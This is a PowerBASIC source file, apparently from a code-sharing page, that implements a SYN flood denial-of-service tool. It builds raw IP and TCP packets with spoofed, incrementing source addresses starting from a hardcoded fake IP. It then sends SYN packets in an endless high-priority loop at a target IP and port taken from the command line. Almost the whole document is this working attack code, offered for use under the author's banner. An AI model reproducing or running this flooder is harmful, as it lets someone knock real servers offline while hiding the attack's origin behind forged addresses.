?? synflood.bas
字號:
#Compile Exe
#Register None
#Dim All
#Include "Win32Api.Inc"
#Include "WS2_32.inc"
%SEQ = &H28376839
%IP_HDRINCL =2
$FAKE_IP = "201.79.131.18"
$Right = "===============Coder Paris-ye====================\n"
Declare Function checksum(ByVal buffer As Word Ptr, ByVal Size As Long) As Word
Declare Function flood() As Long
'TCP頭 20位
Type TCP_HEADER
th_sport As Word '16位源端口
th_dport As Word '16位目的端口
th_seq As Dword '32位序列號
th_ack As Dword '32位確認號
th_lenres As Byte '4位首部長度+6位保留字中的4位
th_flag As Byte '2位保留字+6位標志位 2是SYN,1是FIN,16是ACK探測
th_win As Dword '16位窗口大小
th_sum As Dword '16位校驗和
th_urp As Dword '16位緊急數據偏移量
End Type
'IP 頭 20位
Type IP_HEADER
h_verlen As Byte '4位首部長度+4位IP版本號
tos As Byte '8位服務類型TOS,定義了數據傳輸的優先級、延遲、吞吐量和可靠性等特性
total_len As Word '16位總長度(字節) IP包的長度,若沒有特殊選項,一般為20字節長
ident As Word '16位IP包標識,主機使用它唯一確定每個發送的數據報
frag_and_flags As Word 'Fragment Offset 13 IP數據分割偏移
ttl As Byte '8位生存時間TTL,每通過一個路由器,該數值減一
proto As Byte '8位協議號(TCP, UDP 或其他) 比如:ICMP為1,IGMP為2,TCP為6,UDP為17等
checksum As Word '16位IP首部校驗和
sourceIP As Long '32位源IP地址
destIP As Long '32位目的IP地址
End Type
'TCP偽頭 12位
Type PSD_HEADER
saddr As Dword '源地址
daddr As Dword '目的地址
mbz As Byte '置空
ptcl As Byte '協議類型
tcpl As Word 'TCP長度
End Type
Global pwsaData As WSADATA
Global sockMain As Long
Global ErrorCode,flag,pTimeOut,FakeIpNet,FakeIpHost,dataSize,SendSEQ As Long
Global activPort As Word
Global psockAddr As sockaddr_in
Global tcpheader As TCP_HEADER
Global ipheader As IP_HEADER
Global psdHeader As PSD_HEADER
Global sendBuf As Asciiz * 128
Macro Function shr(prm1,prm2)
MacroTemp pprm1
Local pprm1 As Long
pprm1 = prm1
Shift Right pprm1, prm2
End Macro = pprm1
Macro Function shl(prm1,prm2)
MacroTemp pprm1
Local pprm1 As Long
pprm1 = prm1
Shift Left pprm1, prm2
End Macro = pprm1
'獲取完整進程路徑
Function AppFullName() As String
Local Buffer As Asciiz * %MAX_PATH
GetModuleFileName GetModuleHandle(ByVal 0&), Buffer, SizeOf(Buffer)
If Len(Buffer) Then
Function = Buffer
End If
End Function
Function ArgC() As Long
Local arg As Long
Local f As String
Local q As Long
Local cmd As String
cmd = Command$
Do While Len(cmd)
Incr arg
f = Left$(cmd, 1)
If Asc(f) = 34 Then
q = InStr(Mid$(cmd,2), $Dq)
If q Then
f = Left$(cmd, q+1)
Else
f = cmd
End If
Else
f = f + Extract$(Mid$(cmd,2), Any $Dq+" /")
End If
cmd = LTrim$(Mid$(cmd, Len(f)+1))
Loop
Function = arg
End Function
Function ArgV(ByVal Which As Long) As String
Local arg As Long
Local f As String
Local q As Long
Local cmd As String
cmd = Command$
Do While Len(cmd)
Incr arg
f = Left$(cmd, 1)
If Asc(f) = 34 Then
q = InStr(Mid$(cmd,2), $Dq)
If q Then
f = Left$(cmd, q+1)
Else
f = cmd
End If
Else
f = f + Extract$(Mid$(cmd,2), Any $Dq+" /")
End If
cmd = LTrim$(Mid$(cmd, Len(f)+1))
If arg = which Then
Exit Do
Else
f = ""
End If
Loop
Function = f
End Function
Function checksum(ByVal buffer As Word Ptr, ByVal Size As Long) As Word
Local cksum As Word
Local iLoop As Long
While(Size >1)
cksum = cksum + @buffer[iLoop]
Size = Size - 2
Incr iLoop
Wend
If (Size) Then cksum = cksum + @buffer[iLoop]
cksum = shr(cksum,16) + (cksum And &HFFFF??)
cksum = cksum + shr(cksum,16)
Function = (Not cksum)
End Function
Function PBMain()
Local portNum As Long
Local dw As Dword
Local hThread As Dword
Local putInfo As String
flag = %TRUE
pTimeOut = 2000
activPort = 40000
If (argc<>2) Then
StdOut($right)
StdOut("Invalid command,Pls use:")
StdOut(AppFullName & " <IP> <port>")
StdOut("Example:" & AppFullName & " 192.168.100.244 80")
Exit Function
End If
ErrorCode=WSAStartup(MakWrd(2,1),ByVal VarPtr(pwsaData))
If (ErrorCode <> 0) Then
StdOut("WSAStartup failed:" & Str$(ErrorCode))
Exit Function
End If
sockMain=WSASocket(%AF_INET,%SOCK_RAW,%IPPROTO_RAW,ByVal %NULL,0,%WSA_FLAG_OVERLAPPED)
If (sockMain=%INVALID_SOCKET) Then
StdOut("Socket failed:" & Str$(WSAGetLastError()))
Exit Function
End If
ErrorCode=setsockopt(sockMain,%IPPROTO_IP,%IP_HDRINCL,flag,4)
If (ErrorCode=%SOCKET_ERROR) Then
StdOut("Set sockopt failed:" & Str$(WSAGetLastError()))
Exit Function
End If
ErrorCode=setsockopt(sockMain,%SOL_SOCKET,%SO_SNDTIMEO,pTimeOut,SizeOf(pTimeOut))
If (ErrorCode=%SOCKET_ERROR) Then
StdOut ("Set sockopt time out failed:" & Str$(WSAGetLastError()))
Exit Function
End If
portNum=Val(argv(2))
'portNum=80
ZeroMemory(ByVal VarPtr(psockAddr),SizeOf(psockAddr))
psockAddr.sin_family=%AF_INET
psockAddr.sin_addr.s_addr =inet_addr(argv(1))
'psockAddr.sin_addr.s_addr =inet_addr("220.181.6.6")
FakeIpNet=inet_addr($FAKE_IP)
FakeIpHost=ntohl(FakeIpNet)
ipheader.h_verlen = shl(4,4) Or (SizeOf(IP_HEADER) / 4)
ipheader.total_len = htons(SizeOf(IP_HEADER)+SizeOf(TCP_HEADER))
ipheader.ident = 1
ipheader.frag_and_flags = 0
ipheader.ttl = 128
ipheader.proto = %IPPROTO_TCP
ipheader.checksum =0
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ)
ipheader.destIP = inet_addr(argv(1))
'ipheader.destIP = inet_addr("220.181.6.6")
tcpheader.th_dport=htons(portNum)
tcpheader.th_sport = htons(portNum)
tcpheader.th_seq = htonl(%SEQ+SendSEQ)
tcpheader.th_ack = 0
tcpheader.th_lenres =shl(SizeOf(TCP_HEADER) / 4,4) Or 0
tcpheader.th_flag = 2
tcpheader.th_win = htons(16384)
tcpheader.th_urp = 0
tcpheader.th_sum = 0
psdHeader.saddr=ipheader.sourceIP
psdHeader.daddr=ipheader.destIP
psdHeader.mbz=0
psdHeader.ptcl=%IPPROTO_TCP
psdHeader.tcpl=htons(SizeOf(tcpheader))
StdOut($Right)
hThread=CreateThread(ByVal %NULL,0,CodePtr(flood),0,%CREATE_SUSPENDED,dw)
SetThreadPriority(hThread,%THREAD_PRIORITY_HIGHEST)
ResumeThread(hThread)
StdOut("Warning[start]...........Press any key to stop!")
WaitKey$
'putInfo=getchar()
TerminateThread(hThread,0)
WSACleanup()
StdOut("Stopd...........")
'return 0;
End Function
Function flood() As Long
While (1)
Incr SendSEQ
Incr activPort
If (SendSEQ=65536) Then SendSEQ=1
If (activPort=40010) Then activPort=1000
ipheader.checksum =0
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ)
tcpheader.th_seq = htonl(%SEQ+SendSEQ)
tcpheader.th_sport = htons(activPort)
tcpheader.th_sum = 0
psdHeader.saddr=ipheader.sourceIP
CopyMemory(ByVal VarPtr(sendBuf), ByVal VarPtr(psdHeader),SizeOf(PSD_HEADER))
CopyMemory(ByVal VarPtr(sendBuf)+SizeOf(PSD_HEADER),ByVal VarPtr(tcpheader),SizeOf(tcpheader))
tcpheader.th_sum=checksum(ByVal VarPtr(sendBuf),SizeOf(PSD_HEADER)+SizeOf(tcpheader))
CopyMemory(ByVal VarPtr(sendBuf),ByVal VarPtr(ipheader),SizeOf(ipheader))
CopyMemory(ByVal VarPtr(sendBuf)+SizeOf(ipheader),ByVal VarPtr(tcpheader),SizeOf(tcpheader))
ZeroMemory(ByVal VarPtr(sendBuf)+SizeOf(ipheader)+SizeOf(tcpheader),4)
dataSize=SizeOf(ipheader)+SizeOf(tcpheader)
ipheader.checksum=checksum(ByVal VarPtr(sendBuf),dataSize)
CopyMemory(ByVal VarPtr(sendBuf),ByVal VarPtr(ipheader),SizeOf(ipheader))
ErrorCode=sendto(sockMain,sendBuf,dataSize,0,psockAddr,SizeOf(psockAddr))
If (ErrorCode=%SOCKET_ERROR) Then
StdOut("Can't connect this IP!Pls check it.")
ExitThread(1)
End If
Sleep 1
'Sleep(1000);
Wend
'return 0;
End Function
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -